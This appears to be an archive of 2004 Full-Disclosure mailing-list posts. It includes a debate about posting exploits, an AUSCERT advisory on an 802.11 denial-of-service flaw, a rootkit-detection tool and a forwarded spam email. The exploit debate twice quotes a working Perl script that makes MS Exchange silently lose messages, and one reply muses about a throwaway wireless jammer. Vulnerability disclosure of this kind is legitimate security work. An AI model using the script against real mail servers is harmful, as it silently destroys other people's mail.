decoding overwrite occurs, or is otherwise useless: var_E8/var_88 is
memset to 0; var_EC and var_F0 get wiped out; var_F4 is just an outer
loop counter (infinite loop: DoS); and var_8 and var_4 aren't even
reachable. The exception here is var_F8, which is initialized to 0 at
the beginning of the function, used to index into a stack array
(var_E8), and is not checked for any out-of-bounds values other than the
exact size of the array in elements (18

Re: [Full-Disclosure] leaking

[Dave Horsfall]

On Wed, 12 May 2004, KUIJPERS Jimmy wrote:

> Why a "cryptographically-secure way of generating new email" ??

Because otherwise your nice new email address could be the victim of a
dictionary attack, and you will not have proved anything either way.

-- Dave

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] leaking

[Dave Horsfall]

On Wed, 12 May 2004, Alerta Redsegura wrote:

> Are you going to tell me you didn't see this ad in your MUA?
> Then, it doesn´t render HTML!

You have no idea what you're talking about.

-- Dave

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] RE: Full-Disclosure MS Exchange message lost-so lets post how

[RandallM]

I am using the following only as an example that has been slightly discussed
here. The gentleman rightly posts and gives us the information that is very
helpful to be aware of. But then posts the "exploit" example because, in his
own words, 

<|>I think some people know how to use this "FEATURE" ...  I hope this post
<|>will speed up the fix release!

Exactly in what way do you think this should speed up the release? 

Granted, this is a "lost" email exploit. But what if it was a dangerous
exploit? I have seen these also posted.

I know of "script Kiddies" who would never be able to find the exploit but
are part of the group who "know how to use this 'FEATURE'...". They watch
here and others just for that purpose. Where is accountability? I am torn
between this issue of needed knowledge and exposed exploit. As a network
Administrator I have no need for the exploit but for the knowledge. I have
found no better place then here for that. Then on the other hand you all
give out the exploits for confirmation which is needed also. Just some of my
personal inward ramblings.

thank you
Randall M
 

<|>--__--__--
<|>
<|>Message: 20
<|>Date: Wed, 12 May 2004 11:52:23 +0200 (MEST)
<|>From: [EMAIL PROTECTED]
<|>To: [EMAIL PROTECTED]
<|>Subject: [Full-Disclosure] MS Exchange message lost
<|>
<|>* MS Exchange duplicate message fault (message lost)
<|>*
<|>* MS Exchange (all versions affected) duplicate message fault
<|>*
<|>* I discovered this bug independently on 10, 2003
<|>*
<|>* public post 05, 2004
<|>*
<|>* Helmut Schmitz < [EMAIL PROTECTED] >
<|>*
<|>* (c) 2003/2004 Copyright by Helmut Schmitz - HackForce.NET -  */
<|>
<|>MS Exchange Server (tested on 5.5 and 2003) has a bug ... If you send
<|>Messages with long message ids (>189 bytes?)to more than one recipient
<|>(cc),
<|>the message will not delivered correctly ... there is no correct logging
<|>!!,
<|>the messages will be delivered to only one Recipient ... the message to
<|>the
<|>other will be lost !!
<|>
<|>I have send this issue to Microsoft (10.2003) ... some months later
<|>(05.2004) I got the fix, but not public ... store.exe (6.5.6980.81) with
<|>some reg settings fixes (workaround ;-) the problem.
<|>
<|>Perl Example (test exploit) ...
<|>
<|>#!/usr/bin/perl -w
<|>use Net::SMTP;
<|>$from = '[EMAIL PROTECTED]';
<|>$to = '[EMAIL PROTECTED]';
<|>$cc = '[EMAIL PROTECTED]';
<|>$subject = 'Test Email';
<|>$smtp = Net::SMTP->new('yourmailserver');
<|>$smtp->mail($from);
<|>$smtp->to($to);
<|>$smtp->cc($cc);
<|>$smtp->data();
<|>$smtp->datasend("To: <$to>\n");
<|>$smtp->datasend("Cc: <$cc>\n");
<|>$smtp->datasend("From:  <$from>\n");
<|>$smtp->datasend("Subject: $subject\n");
<|>$smtp->datasend("Message-ID:
<|>ngeifeejktmhedgedherngrondljzhngqwenfghnrjhgdlutjfohnfiztgefnuhderlhteng
<|>eifeejktmhedgedherngrondljzhngqwenfghnrjhgdlutjfohnfiztgefnuhderlhtengei
<|>feejktmhedgedherngrondljzhng> \n");
<|>$smtp->datasend("Hallo\n");
<|>$smtp->datasend("123\n");
<|>$smtp->datasend("123\n");
<|>$smtp->datasend("123\n");
<|>$smtp->dataend();
<|>$smtp->quit;
<|>
<|>Background:
<|>Duplicate detection is decided by three factors.  These are MessageID,
<|>RootFID (the root folder ID of the mailbox) and the SubmitTime into the
<|>store.  These are used to build a unique key when the message is
<|>submitted.
<|>If all the factors are the same value, then we recognize the message as
<|>duplicate.
<|>
<|>###
<|>
<|>I think some people know how to use this "FEATURE" ...  I hope this post
<|>will speed up the fix release!
<|>
<|>Regards,
<|>Helmut Schmitz

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] FW: Unique Logo demonstrates Personality of Your Business

[James Lay]

Received: from gateway.ameriben.com (10.1.1.5 [10.1.1.5]) by
mail.iecgroup.com with SMTP (Microsoft Exchange Internet Mail Service
Version 5.5.2657.72)
id KYZSR3QH; Wed, 12 May 2004 18:30:06 -0600
Received: by gateway.ameriben.com (Postfix, from userid 12347)
id 233963FF74; Wed, 12 May 2004 18:33:16 -0600 (MDT)
Received: from 67-23-124-161.bflony.adelphia.net
(67-23-124-161.bflony.adelphia.net [67.23.124.161])
by gateway.ameriben.com (Postfix) with SMTP id CE2C03FF45
for <[EMAIL PROTECTED]>; Wed, 12 May 2004 18:33:05 -0600 (MDT)
Received: from portugalnet.com (portugalnet-com-bk.mr.outblaze.com
[210.184.92.211])
by 67-23-124-161.bflony.adelphia.net (Postfix) with ESMTP id
186C71C245
for <[EMAIL PROTECTED]>; Wed, 12 May 2004 20:24:14 -0400
From: "Intervention U. Seraglio" <[EMAIL PROTECTED]>
To: Jlay <[EMAIL PROTECTED]>
Subject: Unique Logo demonstrates Personality of Your Business
Date: Wed, 12 May 2004 20:24:14 -0400
Message-ID: <[EMAIL PROTECTED]>
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.3416
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1081
X-AntiVirus: checked by AntiVir MailGate (version: 2.0.1.5; AVE: 6.17.0.2;
VDF: 6.17.0.5; host: 67-23-124-161.bflony.adelphia.net)
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on
gateway.ameriben.com
X-Spam-Status: No, hits=1.8 required=4.0 tests=BAYES_20,DCC_CHECK,
DNS_FROM_RFCI_DSN autolearn=no version=2.63
X-Spam-Level: *
X-Sanitizer: AmeriBen mail filter
MIME-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit


-Original Message-
From: Intervention U. Seraglio [mailto:[EMAIL PROTECTED]
Sent: Wednesday, May 12, 2004 6:24 PM
To: Jlay
Subject: Unique Logo demonstrates Personality of Your Business


Are you starting a new business, launching a new service or want to change
your corporate image? 
Then you need a top quality logo that will complete business identity and
will help you attract 
more customers. 

To create a powerful logo you need a skilled design and marketing team that
will put all its experience, 
knowledge, and talent into your project.
 
Review some of our works to make sure that we can give you that professional
and trustworthy image 
at a reasonable price and within your time frame. We love what we do, we are
very good at it, 
and we are completely focused on your goals. 

If you need design service other than logo or corporate identity design, we
are here to help. 
Whether you need a new package, a brochure, a website, a magazine ad or any
other design or marketing service, 
we have a professional vendor on our list of recommended design companies
that specializes in this. 

Please visit us at: http://yol3.us/6467.asp

Our goal is to help you increase your revenues!

Sincerely,
Clemencia Garcia

_
Press here to remove your address from this list:
http://www.yol3.us/out.html
_

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] leaking

[Dave Horsfall]

On Wed, 12 May 2004, Nancy Kramer wrote:

> What do you use that does that?

It's in my headers - Pine.

-- Dave

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] leaking

[Dave Horsfall]

On Wed, 12 May 2004, Marek Isalski wrote:

> Each visitor is given a different email address.  It's made up of their
> IP address, the Unix time and a partial hash value, encrypted with a
> private Serpent-256 key.

Yep, and that way you can see who sold it to whom.

-- Dave

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] leaking

[Alerta Redsegura]

>The original poster said "track" not "collect" email 
addressesNo no, he said: "The beatch [sic] is 
probably collecting our addresses for spam".>I don't think in 
this case you could (unless you were either matching IPs, or>there is 
other information in the request that certain MUAs give out)Exactly, it's good to be paranoid, but a website cannot get the 
list's e-mail addresses just with an "img" embedded in a message and fetched 
from that website.  That was the whole point.End of thread.for 
me at least. :-)Regards,Iñigo KochRed 
Segura

RE: [Full-Disclosure] RE: Full-Disclosure MS Exchange message lost-so lets post how

[Syed Imran Ali]

I agree with Randal's point of view.
Dunno abt others...

Although we have been discussing this exploit posting issue since long
time... the latest one was cyber punk's, h ..

4 C.P : h1ya, u rem. WFD ;) sh0utS t0 U agAin. ;)

Regards,

S. Imran Ali

-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of RandallM
Sent: Thursday, May 13, 2004 6:45 AM
To: [EMAIL PROTECTED]
Subject: [Full-Disclosure] RE: Full-Disclosure MS Exchange message lost-so
lets post how

I am using the following only as an example that has been slightly discussed
here. The gentleman rightly posts and gives us the information that is very
helpful to be aware of. But then posts the "exploit" example because, in his
own words, 

<|>I think some people know how to use this "FEATURE" ...  I hope this post
<|>will speed up the fix release!

Exactly in what way do you think this should speed up the release? 

Granted, this is a "lost" email exploit. But what if it was a dangerous
exploit? I have seen these also posted.

I know of "script Kiddies" who would never be able to find the exploit but
are part of the group who "know how to use this 'FEATURE'...". They watch
here and others just for that purpose. Where is accountability? I am torn
between this issue of needed knowledge and exposed exploit. As a network
Administrator I have no need for the exploit but for the knowledge. I have
found no better place then here for that. Then on the other hand you all
give out the exploits for confirmation which is needed also. Just some of my
personal inward ramblings.

thank you
Randall M
 

<|>--__--__--
<|>
<|>Message: 20
<|>Date: Wed, 12 May 2004 11:52:23 +0200 (MEST)
<|>From: [EMAIL PROTECTED]
<|>To: [EMAIL PROTECTED]
<|>Subject: [Full-Disclosure] MS Exchange message lost
<|>
<|>* MS Exchange duplicate message fault (message lost)
<|>*
<|>* MS Exchange (all versions affected) duplicate message fault
<|>*
<|>* I discovered this bug independently on 10, 2003
<|>*
<|>* public post 05, 2004
<|>*
<|>* Helmut Schmitz < [EMAIL PROTECTED] >
<|>*
<|>* (c) 2003/2004 Copyright by Helmut Schmitz - HackForce.NET -  */
<|>
<|>MS Exchange Server (tested on 5.5 and 2003) has a bug ... If you send
<|>Messages with long message ids (>189 bytes?)to more than one recipient
<|>(cc),
<|>the message will not delivered correctly ... there is no correct logging
<|>!!,
<|>the messages will be delivered to only one Recipient ... the message to
<|>the
<|>other will be lost !!
<|>
<|>I have send this issue to Microsoft (10.2003) ... some months later
<|>(05.2004) I got the fix, but not public ... store.exe (6.5.6980.81) with
<|>some reg settings fixes (workaround ;-) the problem.
<|>
<|>Perl Example (test exploit) ...
<|>
<|>#!/usr/bin/perl -w
<|>use Net::SMTP;
<|>$from = '[EMAIL PROTECTED]';
<|>$to = '[EMAIL PROTECTED]';
<|>$cc = '[EMAIL PROTECTED]';
<|>$subject = 'Test Email';
<|>$smtp = Net::SMTP->new('yourmailserver');
<|>$smtp->mail($from);
<|>$smtp->to($to);
<|>$smtp->cc($cc);
<|>$smtp->data();
<|>$smtp->datasend("To: <$to>\n");
<|>$smtp->datasend("Cc: <$cc>\n");
<|>$smtp->datasend("From:  <$from>\n");
<|>$smtp->datasend("Subject: $subject\n");
<|>$smtp->datasend("Message-ID:
<|>ngeifeejktmhedgedherngrondljzhngqwenfghnrjhgdlutjfohnfiztgefnuhderlhteng
<|>eifeejktmhedgedherngrondljzhngqwenfghnrjhgdlutjfohnfiztgefnuhderlhtengei
<|>feejktmhedgedherngrondljzhng> \n");
<|>$smtp->datasend("Hallo\n");
<|>$smtp->datasend("123\n");
<|>$smtp->datasend("123\n");
<|>$smtp->datasend("123\n");
<|>$smtp->dataend();
<|>$smtp->quit;
<|>
<|>Background:
<|>Duplicate detection is decided by three factors.  These are MessageID,
<|>RootFID (the root folder ID of the mailbox) and the SubmitTime into the
<|>store.  These are used to build a unique key when the message is
<|>submitted.
<|>If all the factors are the same value, then we recognize the message as
<|>duplicate.
<|>
<|>###
<|>
<|>I think some people know how to use this "FEATURE" ...  I hope this post
<|>will speed up the fix release!
<|>
<|>Regards,
<|>Helmut Schmitz

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] (AUSCERT AA-2004.02) AUSCERT Advisory - Denial of Service Vulnerability in IEEE 802.11 Wireless Devices (fwd)

[Sean Batt]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

===
AA-2004.02 AUSCERT Advisory

  Denial of Service Vulnerability in IEEE 802.11 Wireless Devices
13 May 2004
Last Revised: --

- ---


1.  Description

A vulnerability exists in hardware implementations of the IEEE
802.11 wireless protocol[1] that allows for a trivial but effective
attack against the availability of wireless local area network
(WLAN) devices.

An attacker using a low-powered, portable device such as an
electronic PDA and a commonly available wireless networking card
may cause significant disruption to all WLAN traffic within range,
in a manner that makes identification and localisation of the
attacker difficult.

The vulnerability is related to the medium access control (MAC)
function of the IEEE 802.11 protocol.  WLAN devices perform Carrier
Sense Multiple Access with Collision Avoidance (CSMA/CA), which
minimises the likelihood of two devices transmitting
simultaneously.  Fundamental to the functioning of CSMA/CA is the
Clear Channel Assessment (CCA) procedure, used in all
standards-compliant hardware and performed by a Direct Sequence
Spread Spectrum (DSSS) physical (PHY) layer.

An attack against this vulnerability exploits the CCA function at
the physical layer and causes all WLAN nodes within range, both
clients and access points (AP), to defer transmission of data for
the duration of the attack. When under attack, the device behaves
as if the channel is always busy, preventing the transmission of
any data over the wireless network.

Previously, attacks against the availability of IEEE 802.11
networks have required specialised hardware and relied on the
ability to saturate the wireless frequency with high-power
radiation, an avenue not open to discreet attack. This
vulnerability makes a successful, low cost attack against a
wireless network feasible for a semi-skilled attacker.

Although the use of WLAN technology in the areas of critical
infrastructure and systems is still relatively nascent, uptake of
wireless applications is demonstrating exponential growth. The
potential impact of any effective attack, therefore, can only
increase over time.

2. Platform

Wireless hardware devices that implement IEEE 802.11 using a DSSS
physical layer. Includes IEEE 802.11, 802.11b and low-speed (below
20Mbps) 802.11g wireless devices. Excludes IEEE 802.11a and
high-speed (above 20Mbps) 802.11g wireless devices.

3.  Impact

Devices within range of the attacking device will be affected. If
an AP is within range, all devices associated with that AP are
denied service; if an AP is not within range, only those devices
within range of the attacking device are denied service.

Minimum threat characteristics:

o An attack can be mounted using commodity hardware and
drivers - no dedicated or high-power wireless hardware is
required

o An attack consumes limited resources on attacking device,
so is inexpensive to mount

o Vulnerability will not be mitigated by emerging MAC layer
security enhancements ie IEEE 802.11 TGi

o Independent vendors have confirmed that there is
currently no defence against this type of attack for DSSS
based WLANs

The range of a successful attack can be greatly improved by an
increase in the transmission power of the attacking device, and
the use of high-gain antennae.

3.  Workarounds/Mitigation

At this time a comprehensive solution, in the form of software or
firmware upgrade, is not available for retrofit to existing
devices. Fundamentally, the issue is inherent in the protocol
implementation of IEEE 802.11 DSSS.

IEEE 802.11 device transmissions are of low energy and short range,
so the range of this attack is limited by the signal strength of
the attacking device, which is typically low. Well shielded WLANs
such as those for internal infrastructures should be relatively
immune, however individual devices within range of the attacker
may still be affected. Public access points will remain
particularly vulnerable.

The model of a shared communications channel is a fundamental
factor in the effectiveness of an attack on this vulnerability.
For this reason, it is likely that devices based on the newer IE

RE: [Full-Disclosure] leaking

[Aditya, ALD [Aditya Lalit Deshmukh]]

> And gotta love the flavors of the BSD OS that does it for them!

ms will deny that saying that hotmail runs on windows !



Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] RKDetect - behaviour based rootkit detection utility

["offtopic"]

http://www.security.nnov.ru/search/document.asp?docid=6198

Rkdetect is a little anomaly detection tool which can find services hidden by generic 
Windows rootkits like Hacker Defender.

Tool very simply. It enumerates services on remote computer through WMI (user level) 
and Services Control Manager (kernel level), compare result and display difference. In 
this way we can find hidden services which usual used to start rootkit.
Similar approach can be used to enumerate processes, files, registry keys and anything 
that rootkits can to hide. 

Rkdetect available here:

http://www.security.nnov.ru/files/rkdetect.zip

Tool consists from VBScript file rkdetect.vbs and sc.exe utility.
Sc.exe it's standard Windows tool to work with SCM which you can find on any Windows 
Box with W2K3.

Usage:
1.  Unzip archive.
2.  If you don't trust me (I hope you
don't :-), copy sc.exe
(c:\WINDOWS\system32\sc.exe in my case) from Windows folder to the rkdetect folder.
3.  Change dir to rkdetect folder. 
4.  Start it:

cscript rkdetect.vbs 

Example:

C:\detector>cscript rkdetect.vbs 200.4.4.4 Microsoft (R) Windows Script Host Version 
5.6 Copyright (C) Microsoft Corporation 1996-2001.
All rights reserved.

Query services by WMI...
Detected 79 services
Query services by SC...
Detected 80 services
Finding hidden services...

Possible rootkit found: HXD Service 100
Done

C:\detector>


Thanks to 3APA3A for testing and hosting. 

Thanks for your attention and sorry for my English. 

GL.




___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re:[Full-Disclosure] (AUSCERT AA-2004.02) AUSCERT Advisory - Denial of Service Vulnerability in IEEE 802.11 Wireless Devices (fwd)

[Ian Latter]

Interesting isn't it .. since it came up I've been wondering how
hard it would be for one of these;  http://www.wifiseeker.com/
.. to be "upgraded" to work as a sort of wireless flash-bang (for 
the life of the battery) .. throw it in a garden and walk off ...  

.. give our grounds keepers IT Security shirts and badges ;-)




- Original Message -
>From: "Sean Batt" <[EMAIL PROTECTED]>
>To: <[EMAIL PROTECTED]>
>Subject:  [Full-Disclosure] (AUSCERT AA-2004.02) AUSCERT Advisory - Denial of Service 
Vulnerability in IEEE 802.11 Wireless Devices (fwd)
>Date: Thu, 13 May 2004 15:22:19 +1000
>
> 
> -BEGIN PGP SIGNED MESSAGE-
> Hash: SHA1
> 
> 
==
=
> AA-2004.02 AUSCERT Advisory
> 
>   Denial of Service Vulnerability in IEEE 802.11 Wireless Devices
> 13 May 2004
> Last Revised: --
> 
> - ---
> 
> 
> 1.  Description
> 
>   A vulnerability exists in hardware implementations of the IEEE
>   802.11 wireless protocol[1] that allows for a trivial but effective
>   attack against the availability of wireless local area network
>   (WLAN) devices.
> 
>   An attacker using a low-powered, portable device such as an
>   electronic PDA and a commonly available wireless networking card
>   may cause significant disruption to all WLAN traffic within range,
>   in a manner that makes identification and localisation of the
>   attacker difficult.
> 
>   The vulnerability is related to the medium access control (MAC)
>   function of the IEEE 802.11 protocol.  WLAN devices perform Carrier
>   Sense Multiple Access with Collision Avoidance (CSMA/CA), which
>   minimises the likelihood of two devices transmitting
>   simultaneously.  Fundamental to the functioning of CSMA/CA is the
>   Clear Channel Assessment (CCA) procedure, used in all
>   standards-compliant hardware and performed by a Direct Sequence
>   Spread Spectrum (DSSS) physical (PHY) layer.
> 
>   An attack against this vulnerability exploits the CCA function at
>   the physical layer and causes all WLAN nodes within range, both
>   clients and access points (AP), to defer transmission of data for
>   the duration of the attack. When under attack, the device behaves
>   as if the channel is always busy, preventing the transmission of
>   any data over the wireless network.
> 
>   Previously, attacks against the availability of IEEE 802.11
>   networks have required specialised hardware and relied on the
>   ability to saturate the wireless frequency with high-power
>   radiation, an avenue not open to discreet attack. This
>   vulnerability makes a successful, low cost attack against a
>   wireless network feasible for a semi-skilled attacker.
> 
>   Although the use of WLAN technology in the areas of critical
>   infrastructure and systems is still relatively nascent, uptake of
>   wireless applications is demonstrating exponential growth. The
>   potential impact of any effective attack, therefore, can only
>   increase over time.
> 
> 2. Platform
> 
>   Wireless hardware devices that implement IEEE 802.11 using a DSSS
>   physical layer. Includes IEEE 802.11, 802.11b and low-speed (below
>   20Mbps) 802.11g wireless devices. Excludes IEEE 802.11a and
>   high-speed (above 20Mbps) 802.11g wireless devices.
> 
> 3.  Impact
> 
>   Devices within range of the attacking device will be affected. If
>   an AP is within range, all devices associated with that AP are
>   denied service; if an AP is not within range, only those devices
>   within range of the attacking device are denied service.
> 
>   Minimum threat characteristics:
> 
>   o An attack can be mounted using commodity hardware and
>   drivers - no dedicated or high-power wireless hardware is
>   required
> 
>   o An attack consumes limited resources on attacking device,
>   so is inexpensive to mount
> 
>   o Vulnerability will not be mitigated by emerging MAC layer
>   security enhancements ie IEEE 802.11 TGi
> 
>   o Independent vendors have confirmed that there is
>   currently no defence against this type of attack for DSSS
>   based WLANs
> 
>   The range of a successful attack can be greatly improved by an
>   increase in the transmission power of the attacking device, and
>   the use of high-gain antennae.
> 
> 3.  Workarounds/Mitigation
> 
>   At this time a comprehensive solution, in the form of software or
>   firmware upgrade, is not available for retrofit to existing
>   devices. Fundamentally, the issue is inherent in the protocol
>   implementation of IEEE 802.11 DSSS.
>